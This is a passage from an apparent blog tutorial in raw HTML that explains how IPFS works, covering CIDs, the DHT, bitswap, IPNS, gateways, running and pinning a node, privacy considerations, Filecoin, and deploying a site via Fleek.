   Digest []byte 
}
"><code><span class="hljs-keyword">type</span> DecodedMultihash <span class="hljs-keyword">struct</span> {
   Code   <span class="hljs-keyword">uint64</span>  <span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">></span> <span class="hljs-operator">&#x3C;</span><span class="hljs-number">0x12</span> <span class="hljs-keyword">for</span> SHA2<span class="hljs-number">-256</span><span class="hljs-operator">></span>
   Name   <span class="hljs-keyword">string</span>  <span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">></span> <span class="hljs-operator">&#x3C;</span>SHA2<span class="hljs-number">-256</span><span class="hljs-operator">></span>
   Length <span class="hljs-keyword">int</span>     <span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">></span> <span class="hljs-operator">&#x3C;</span><span class="hljs-number">32</span> <span class="hljs-keyword">bytes</span><span class="hljs-operator">></span>
   Digest []<span class="hljs-keyword">byte</span> 
}
</code></pre><p>and here are the specs for codec versions:</p><ul><li><p><strong>CID v0 codec</strong></p><ul><li><p>defaults to <code>base58</code> encoded <code>SHA2-256</code> (<em>i.e.,</em> a 46 characters string starting with <code>Qm</code>).</p></li></ul></li></ul><blockquote><p>💡 <code>base58btc</code> <em>was developed for bitcoin, with reading-friendly properties such as zero and the capital letter O are not included.</em></p></blockquote><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/cf6f5a6487415a1eef1e7794a989e3ceaa55353c28d6df88f32ba7f01875a89f.png" alt=".checking how add and get works." blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">.checking how add and get works.</figcaption></figure><ul><li><p><strong>CID v1 codec</strong> (flag <code>ipfs add --cid-version 1</code>)</p><ul><li><p>brings <strong>multibase</strong> prefixes (info on how the hashed data is encoded), such as:</p><pre data-type="codeBlock" text="b - base32 --&gt; CIDS start with ba
z - base58
f - base16
"><code>b <span class="hljs-operator">-</span> base32 <span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">></span> CIDS start with ba
z <span class="hljs-operator">-</span> base58
f <span class="hljs-operator">-</span> base16
</code></pre></li><li><p>with IPLD <strong>multicodec</strong> prefixes (info on how to interpret the hashed data after it has been fetched - <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="">here is the complete list</a>), such as:</p><pre data-type="codeBlock" text="0x55 - raw (raw binary) 
0x70 - dag-pb (merkleDAG protobuf) 
0x71 - dag-cbor (merkleDAG cbor) 
0x78 - git object
0x90 - eth-block (ethereum block)
0x93 - ethereum transaction
"><code><span class="hljs-number">0x55</span> <span class="hljs-operator">-</span> raw (raw binary) 
<span class="hljs-number">0x70</span> <span class="hljs-operator">-</span> dag<span class="hljs-operator">-</span>pb (merkleDAG protobuf) 
<span class="hljs-number">0x71</span> <span class="hljs-operator">-</span> dag<span class="hljs-operator">-</span>cbor (merkleDAG cbor) 
<span class="hljs-number">0x78</span> <span class="hljs-operator">-</span> git object
<span class="hljs-number">0x90</span> <span class="hljs-operator">-</span> eth<span class="hljs-operator">-</span><span class="hljs-built_in">block</span> (ethereum <span class="hljs-built_in">block</span>)
<span class="hljs-number">0x93</span> <span class="hljs-operator">-</span> ethereum transaction
</code></pre></li></ul></li></ul><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/7fb805860e19a95470b389f84d84bbffbdcb7280b4e982262e9cf28287750180.png" alt=".breaking a CID down at http://cid.ipfs.tech.ipns.localhost:8080." blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">.breaking a CID down at http://cid.ipfs.tech.ipns.localhost:8080.</figcaption></figure><hr><h3 id="h-000010-distributed-hash-tables" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">00.0010. distributed hash tables</h3><p>now, let’s talk a bit about how IPFS finds a given CID on the network through peer routing (identified by a <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="http://docs.libp2p.io.ipns.localhost:8080/concepts/fundamentals/peers/#peer-id">public</a> <code>peerID</code> , the IPFS node multihash unique identifier derived from the peer’s public key and linked to its IP and port).</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/eb894dc7f86b2529cb9fb3d96120962e8a9e647b5b3a99d9bacdea2fb7226321.png" alt=".peerID are generated in a similar fashion than CID (through the underline libp2p specs)." blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">.peerID are generated in a similar fashion than CID (through the underline libp2p specs).</figcaption></figure><p>the IPFS protocol is backed by a big (libp2p) distributed hash table (DHT) called <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://en.wikipedia.org/wiki/Kademlia">kademlia</a>, which maps CID to the <code>peerID</code> so that the data chunks can be accessed by:</p><ul><li><p>an IPFS path <code>ipfs://&lt;CID&gt;</code>,</p></li><li><p>a gateway url <code>https://ipfs.io/ipfs/&lt;CID&gt;</code>,</p></li><li><p>your node cli, etc.</p></li></ul><blockquote><p>💡 <em>libp2p is a networking framework for the development of p2p applications, consisting of a collection of protocols, specifications, and libraries for flexible addressing, transport agnostic, customizable security, peer identity and routing, content discovery, and NAT traversal.</em></p></blockquote><p>🫱🏻‍🫲🏽 <strong>when a new object is uploaded to IPFS:</strong> the peer announces to the network that it has new content by adding an entry to the DHT that maps from CID to its IP address.</p><p>🫱🏻‍🫲🏽 <strong>when a user wants to download new data</strong>: they would look up its CID in the DHT, find peers’ IP addresses, and download the data directly from them.</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/94dcf027571735f0da79da64a8db2fb10f2adaaddd539a25b019ca9d6a3a0f68.png" alt=".now multiply this by half a million peers." blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">.now multiply this by half a million peers.</figcaption></figure><blockquote><p>💡 <em>DHT is said to be “distributed” because no single node (peer) in the network holds the entire table. each node (peer) stores a subset of the table and the information on where to find the rest.</em></p></blockquote><p>the DHT’s distance metric, <em>i.e.</em>, the distance between two <code>peerID</code>s, is a logical distance used to classify the nearest peers. this distance function is computed by applying an <code>XOR</code> operation to the ids and then converting it to a ranking integer.</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/ff4dbcf8b0b7e16e8531545650cb937e2b17b0a3c54fa2d3ae58eb10de387de1.png" alt=".dht query for my (test) node id." blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">.dht query for my (test) node id.</figcaption></figure><blockquote><p>💡 <em>if an IPFS node does not implement the DHT, </em><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/ipfs/boxo/tree/main/routing/http"><em>delegated content routing</em></a><em> to another server or process over HTTP(S) can be configured.</em></p></blockquote><hr><h3 id="h-000011-bitswap" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">00.0011. bitswap</h3><blockquote><p>💡 <em>bitswap is IPFS’s message-based (libp2p) protocol for data transfer (as opposed to, for example, the HTTP’s request-response paradigm).</em></p></blockquote><p>with bitswap, messages (<em>e.g., “who has this CID?”</em>) are transmitted to all connected nodes (peers) as an alternative to transversing the DHT.</p><p>the node can then decide if the message should be stored (<em>e.g.,</em> in a wantlist), processed, or discarded.</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/1291119aa352bb575e9162c8fd9a42f15bb2b7dedc8ba9aea0d892462bd18b84.png" alt=".bitswap CLI and stats for a new node." blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">.bitswap CLI and stats for a new node.</figcaption></figure><hr><h3 id="h-000100-ipns" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">00.0100. IPNS</h3><p><em>when an object gets updated, and a new CID is generated (changing the IPFS URI), how does the node inform peers?</em></p><p>IPNS is a protocol that maps the hash of the peer’s public key to its (mutable) content by a mutable pointer.</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/f664ec8dd6706524735669b1157138451208762c933a791aedad6fb185ba5775.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>IPNS is associated with records containing the content path (<em>i.e.,</em> <code>/ipfs/&lt;CID&gt;</code>) it links plus metadata (such as the expiration, the version number, and a cryptographic signature signed by the corresponding private key). new IPFS records can be signed and published at any point by the private key holder.</p><p>by the way, IPNS is the third type of key-value pairings updated and found using the same DHT protocol (<em>i.e.,</em> kademlia):</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/e28b9f089db50a673541bf689d48bf22d4a805aab6cade0729880e53c0aff59a.png" alt=".http://docs.ipfs.tech.ipns.localhost:8080/concepts/dht/." blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">.http://docs.ipfs.tech.ipns.localhost:8080/concepts/dht/.</figcaption></figure><hr><h3 id="h-000101-gateways" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">00.0101. gateways</h3><p>IPFS gateways allow applications that do not support IPFS to fetch data from the IPFS network by an HTTP interface.</p><p>for instance, to make a website hosted on IPFS more accessible, you can put it inside a directory and create a <strong>DNSLink</strong> record for its CID (<em>e.g.,</em> see <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/ipfs-shipyard/dnslink-cloudflare">cloudflare integration</a>). it uses <code>DNS TXT</code> records to map a DNS name to an IPFS address so you can always point them to the latest version of an IPFS object (<em>e.g.,</em> <code>dnslink=/ipfs/&lt;CID&gt;</code>).</p><p>end-users can then make requests to a <strong>universal gateway</strong> URL such as <code>https://cf-ipfs.com/ipns/en.wikipedia-on-ipfs.org/</code> and have their requests translated to the correct CID in the background.</p><blockquote><p>💡 <em>while a gateway with a DNSLink record (restricted gateway) is restricted to a particular piece of content (either a specific CID or an IPNS hostname). a universal gateway allows users to access any content hosted on the IPFS network.</em></p></blockquote><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/82faedb0b489343af7f10e901d9e50321786322172deebfda51c21d6e982b4eb.png" alt=".a high-level overview of kubo&apos;s IPFS subsystem architecture, https://github.com/ipfs/kubo/blob/master/docs/config.md." blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">.a high-level overview of kubo&apos;s IPFS subsystem architecture, https://github.com/ipfs/kubo/blob/master/docs/config.md.</figcaption></figure><hr><h2 id="h-01-running-a-node" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">💾 01. running a node</h2><h3 id="h-010110-install-andand-setup" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">01.0110. install &amp;&amp; setup</h3><p>install the IPFS CLI using <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.ipfs.tech/install/">these instructions</a> (note that you also have the option to run a GUI or inside a Docker container).</p><p>start your local node with:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/ef6fe4081171330a3d03fbcd9c2ea7f8be334c1d50d917c78877558aacc9380e.png" alt=".setting up a new ipfs node." blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">.setting up a new ipfs node.</figcaption></figure><p>this command creates the directory <code>~/.ipfs</code> containing the information of your IPFS node:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/e90e3f0c53d9da0ce21708e0345b4f9ddbc854edd4c6a192e27c0418ba50f8a5.png" alt=".file structure of a new IPFS node." blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">.file structure of a new IPFS node.</figcaption></figure><p>your node is ready to get started. if you plan to run it intermittently, you will want to configure the ports in your firewall (or if under a VPS).</p><p>additionally, you might want to setup your node’s HTTP gateway (or nginx proxy + CORS), to allow HTTP requests to access the content (<em>i.e.,</em> allowing fetching to something like <code>http://&lt;your_ip&gt;:8080/ipfs/&lt;CID&gt;</code>).</p><p>a useful CLI command for this is <code>ipfs config show</code>.</p><blockquote><p>💡 <em>nodes running on residential WiFi tend to have long wait times or high rates of failure because the rest of the network can find it difficult to connect through their NAT (i.e.</em>, <em>the internet router, or how the modem knows which private IP / device is acting as a server). this could be ameliorated by setting up port forwarding on the router directing external connections to port</em> <code>4001</code> <em>(or moving the node to a hosted server).</em></p></blockquote><p>for completeness, here is how the IPFS desktop GUI looks like, if you choose to go that direction instead:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/997af8b32557046a9d7df84a0503bd3bd925dbcc7e4f5bfe69bd30831e73ae5a.png" alt=".the IPFS desktop GUI for a new node." blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">.the IPFS desktop GUI for a new node.</figcaption></figure><hr><h3 id="h-010111-bootstrapping" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">01.0111. bootstrapping</h3><p>when you first connect the internet with a new client or server (by starting the IPFS daemon), your node will be bootstrapped with a collection of IP addresses to start you up (and you can also define the nodes):</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/42fc5fd355e772192e62ec81540ec558b960bfc0059371f287ee163b9434abd9.png" alt=".starting the daemon for a local IPFS node (the node is now online and running in the background, listening for data requests)." blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">.starting the daemon for a local IPFS node (the node is now online and running in the background, listening for data requests).</figcaption></figure><p>if you are serious about running your node, you might want to run the IPFS daemon in the background with some process manager (such as <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="http://supervisord.org/">supervisord</a> in linux).</p><p>at this point, the <code>add</code> , <code>pin</code>, and <code>cat</code> commands are the most significant IPFS functions, but here is more fun stuff:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/c6d3b4ff060c451fe05b96a3f4f7303e3b521b731fe4325c68915528386f271d.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><hr><h3 id="h-011000-adding-objects" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">01.1000. adding objects</h3><p>the IPFS <code>add</code> command creates a merkle DAG for the objects (following the UnixFS data format):</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/df67caef671e3c7689501abb28f48e5692b61928fc014874af97fd2729b9487e.png" alt=".how add and cat works." blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">.how add and cat works.</figcaption></figure><hr><h3 id="h-011001-pinning-objects" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">01.1001. pinning objects</h3><blockquote><p>💡 <em>pinning is </em><strong><em>the process of specifying what data is to be persisted on one or more IPFS nodes</em></strong><em>. this ensures that data is accessible indefinitely and will not be removed during the I garbage collection.</em></p></blockquote><p>with <code>add</code>, the content does not automatically replicate across the network. you need to pin the CID to your local DHT, associating it to your IP address/port (or accessible endpoints obtained from NAT traversal):</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/d6310803e9935fb2986d4f6ccbb379ca6a6ee45b4d007242b53d09c6de78c564.png" alt=".pinning an object." blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">.pinning an object.</figcaption></figure><blockquote><p>💡 <em>once your CID is uploaded to other nodes’ DHT (i.e., once another node downloads the content), it can’t be removed from the network. however, if you are the only node hosting the content, you can unpin it and remove it from your DHT.</em></p></blockquote><p>pinning allows the node to advertise that it has the CID (a continuous process that repeats every ~12 hours).</p><blockquote><p>💡 <em>if many minutes have passed since objects were uploaded to an IPFS node and they’re still not discoverable by other gateways, it’s possible the node is having trouble announcing the objects to the rest of the network.</em></p><p><em>you can make sure the content is pinned by running:</em></p><p><code>ipfs pin -r &lt;CID&gt;</code></p><p><em>or you can force the announcement by running:</em></p><p><code>ipfs dht provide -rv &lt;CID&gt;.</code></p></blockquote><p>finally, when working with production and/or large amounts of data, you might want to use a (paid) pinning service that runs many IPFS nodes. here are some examples: <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://pinata.cloud/">pinata</a>, <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://infura.io/">infura</a>, <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://nft.storage/">nft.storage</a>, <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="http://bafybeifp5b5ipq7vkqlih2iudm5mram47hipchvjkobd2pdo2tcpn3roou.ipfs.localhost:8080/">fleek</a>, and <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://filebase.com/">filebase</a>.</p><hr><h3 id="h-011010-retrieving-objects" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">01.1010. retrieving objects</h3><p>when you request an object (<em>e.g</em>., by <code>ipfs get &lt;CID&gt;</code> or by typing <code>ipfs://&lt;CID&gt;</code> in your <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://brave.com/">brave browser</a> or at an IPFS gateway), the IPFS client:</p><ol><li><p>consults its local DHT table to see where this CID is located and gets back a collection of IP addresses/ports, or</p></li><li><p>asks connected peers over bitswap, or</p></li><li><p>makes an HTTP call to a delegated routing server.</p></li></ol><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/17868ceeb6c6f10febed6c473f8da06af052cfa5121820a41641007188b4c378.png" alt=".brave has built-in support for IPFS." blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">.brave has built-in support for IPFS.</figcaption></figure><p>once the mapping is retrieved, <strong>block fetching</strong> is started. the client downloads chunks of the content from each peer. the client also verifies the hashes for each block.</p><p>once all the blocks are retrieved, the local node is able to reconstruct the merkle DAG and replicate the requested content.</p><p>once the client has the content and if it supports being a DHT server, the client will update its local DHT table with the CID. the new updated DHT is then propagated across the peers (even if it’s not explicitly pinned).</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/4b7fd7b61da095804375359d0b3a0dedcdacf0a25ea6f53100249a8b65bfa43d.png" alt=".native ways for having your data pinned on the IPFS network." blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">.native ways for having your data pinned on the IPFS network.</figcaption></figure><hr><h3 id="h-011011-security-andand-privacy" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">01.1011. security &amp;&amp; privacy</h3><p>as a public network, participating IPFS nodes (peers) use CIDs to store and advertise data through publicly viewable protocols, <em>without</em> protecting the information about CIDs.</p><p>traffic and metadata can be monitored to infer information about the network and the users. while IPFS traffic <em>between nodes</em> is encrypted, the metadata the nodes publish to the DHT is public, including:</p><ul><li><p>CIDs of data that they&apos;re providing or retrieving, and</p></li><li><p>the <code>peerID</code>, as it’s possible to do a DHT lookup, and particularly if a node is running from a static location, it should reveal its IP address.</p></li></ul><p>although adding built-in privacy layers to decentralized networks is a complex topic and usually conflicts with the modular design of the network, some basic security measures can help to make your node more private:</p><ul><li><p>disable CID re-providing by default (as your node temporarily becomes a host for the content until its local cache is cleared),</p></li><li><p>encrypt data at rest (content-encryption), and</p></li><li><p>use an external IP address that is not connected to anything else in your life.</p></li></ul><p>in addition, if you are not running a local node but, instead, loading IPFS through a public gateway (<em>e.g.,</em> <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://support.brave.com/hc/en-us/articles/360051406452-How-does-IPFS-Impact-my-Privacy-">with brave</a> or <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://ipfs.github.io/public-gateway-checker/">from this list</a>), the gateway can still see your IPFS browsing activity (including the log of your IP address or your browser).</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/e438f7acd7ff3a2539896708628ac58878c8a7fc3ebc8a76a2038cf435ed4fc0.png" alt=".IPFS public gateway checker." blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">.IPFS public gateway checker.</figcaption></figure><p>if of interest, you can also check some encrypted-base projects on top of IPFS, such as <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://ceramic.network/">ceramic</a> and <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/orbitdb">orbitDB</a>.</p><p>finally, <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://coderwall.com/p/m3excg/a-tor-proxy-in-a-raspberry-pi">as a dweb hacker,</a> i find the subject of privacy and security in decentralized webs fascinating. at some point, i would like to write more about treat models and poc-ing nodes’ metadata analysis. for now, however, stay tuned to a soon-to-be-published post where i will be talking more in-depth about a similar topic, my research on ethereum validator privacy.</p><hr><h2 id="h-10-final-thoughts" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">💾 10. final thoughts</h2><h3 id="h-101100-the-filecoin-blockchain" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">10.1100. the filecoin blockchain</h3><p>for long-term storage, a step further from pinning services is the <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.coingecko.com/en/coins/filecoin">filecoin blockchain</a>, a decentralized storage network built on top of IPFS where providers rent their storage space to clients (through a deal on how much data will be stored, for how long, and at what cost).</p><p>the verifiable storage in filecoin works under a general consensus named <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://spec.filecoin.io/algorithms/pos/">“proof-of-storage”</a>, which is divided into <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://spec.filecoin.io/algorithms/pos/porep/">“proof-of-replication”</a> and <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://spec.filecoin.io/algorithms/pos/post/">“proof-of-spacetime”</a> and worth of their own mirror post.</p><p>since the retrieval process might be slower than an IPFS pinning service and there is a requirement for the minimal file size accepted, combined IPFS + filecoin solutions are also available. examples: <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://estuary.tech/">estuary</a>, <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://Web3.Storage">web3.storage</a>, and <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://storage.chainsafe.io/">chainsafe storage</a>.</p><p>for completeness, here are some alternative solutions with a more specific focus or use of a specific data storage mechanism: <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.arweave.org/">arweave</a>, <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.bittorrent.com/">bittorrent</a>, and <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.ethswarm.org/">swarm</a>.</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/ba05130611dd2acf7c5c9bba862b1153ab495c557d12ab1b2ebf7e0821f54e6a.png" alt=".http://docs.ipfs.tech.ipns.localhost:8080/concepts/comparisons/#comparing-the-key-features-of-other-solutions-to-ipfs." blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">.http://docs.ipfs.tech.ipns.localhost:8080/concepts/comparisons/#comparing-the-key-features-of-other-solutions-to-ipfs.</figcaption></figure><hr><h3 id="h-101101-deploy-a-website-in-ipfs-in-5-minutes" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">10.1101. deploy a website in IPFS in 5 minutes</h3><p>for anyone who somehow made it to the end of this article only wanting some sort of “front-end” IPFS deployment how-to guide, here will go…</p><p>let’s use <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="http://fleek.co/">fleet</a> to deploy a website hosted in github to IPFS in 111 visual steps:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/948c94a3785052ed0428c9e2cbe12c750bd5e382a60281b1b4b4494372d80554.png" alt=".0. click on &quot;add new site&quot;." blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">.0. click on &quot;add new site&quot;.</figcaption></figure><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/e1d37fa2a6706d7bffc242402798abbc4692f6971b841ffe3148640f978af654.png" alt=".1. connect to the github repo holding the code." blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">.1. connect to the github repo holding the code.</figcaption></figure><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/737540e8f314ed8a641c36c873795c26bf6f5a385ca2034dfca1a9d9362b97a7.png" alt="10. wait until the site is deployed, and then add a custom domain." blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">10. wait until the site is deployed, and then add a custom domain.</figcaption></figure><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/1538476dcb38b0d62001f2e4330a804d2eb18064aea7f020f462cfbe218e44b6.png" alt=".11. configure the DNS records (ANAME, CNAME, DNSlink)." blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">.11. configure the DNS records (ANAME, CNAME, DNSlink).</figcaption></figure><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/ddb4a26a9a62afee0601b86389e212270b253caa89d8f69499198aab57ad1674.png" alt=".100. make sure the CI/CD pipeline is triggered with code changes." blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">.100. make sure the CI/CD pipeline is triggered with code changes.</figcaption></figure><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/46ba8928f9192b11b61b85cd49726146424a240ee883227c72bb1c98c4a44a46.png" alt=".101. pay if you need more than 50 GB of bandwidth." blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption 